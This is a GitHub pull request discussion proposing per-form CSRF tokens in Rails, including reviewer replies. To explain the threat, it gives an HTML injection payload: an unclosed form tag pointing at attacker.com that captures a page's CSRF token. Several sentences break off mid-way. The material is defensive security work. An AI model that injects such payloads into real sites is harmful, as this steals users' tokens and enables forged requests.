Join GitHub today
GitHub is home to over 28 million developers working together to host and review code, manage projects, and build software together.Sign up
Per-form CSRF tokens #22275
For sites using CSP, one of the biggest risks of content-injection is form hijacking. For example, on a page like
<!-- some xss vulnerability here --> <form method="post" action="/innocuous"> <input type="hidden" name="authenticity_token" value="thetoken"> </form>
an attacker can inject their own unclosed form tag.
<form method="post" action="//attacker.com/tokens"><!-- xss --> <form method="post" action="/innocuous"> <input type="hidden" name="authenticity_token" value="thetoken"> </form>
Because nested form elements aren't allowed in HTML, the attacker's tag will supersede the legitimate one and inherit its CSRF token input tag. If the form is submitted, the CSRF token will go to
This can be largely mitigated by using CSP with the
<form method="post" action="/user/change_password"><!-- xss --> <form method="post" action="/innocuous"> <input type="hidden" name="authenticity_token" value="thetoken"> </form>
Another mitigation would be to have each CSRF token be valid only for the method/action of the form it was included in. We wrote an implementation of this for our fork of Rails and would like to forwardport/upstream the feature if there is interest. Unfortunately, the BREACH mitigation we wrote (#16570 took too long) is fairly different from the upstream one and our per-form CSRF token changes don't apply cleanly.
The questions I have for @rails/security are:
If it's deemed worthwhile, I'll be happy to try to port our changes to this branch, but I wanted to ask before putting in the effort. f9a1bfb lays much of the groundwork by passing the form method/action to
/cc @ptoomey3 @oreoshake @gregose
Thanks for the pull request, and welcome! The Rails team is excited to review your changes, and you should hear from @rafaelfranca (or someone else) soon.
If any changes to this PR are deemed necessary, please add them as extra commits. This ensures that the reviewer can see what has changed since they last reviewed the code. Due to the way GitHub handles out-of-date commits, this should also make it reasonably obvious what issues have or haven't been addressed. Large or tricky changes may require several passes of review and changes.
Please see the contribution instructions for more information.
Okay. I pushed up my initial spike at per-form tokens (61506e4). It feels pretty hacky adding it with the current APIs. I was kind of hoping you didn't care about backwards compatibility
I'll work on cleaning this up and adding tests over the next couple days.
referenced this pull request
Nov 25, 2015
added a commit
this pull request
Jan 6, 2016
If the attacker can insert arbitrary HTML in your forms, than you have more security issues than just sending form to undesired address. What if it's a login form and it's send to attacker's server? You can't do anything with the csrf token here, because the auth credentials already leaked and the attacker can just go and enter them, and the csrf token will be valid in that case.
As noted at the top of this pull request, per-form csrf tokens are mostly beneficial for sites that have largely mitigated the types of attacks you mentioned. For example, CSP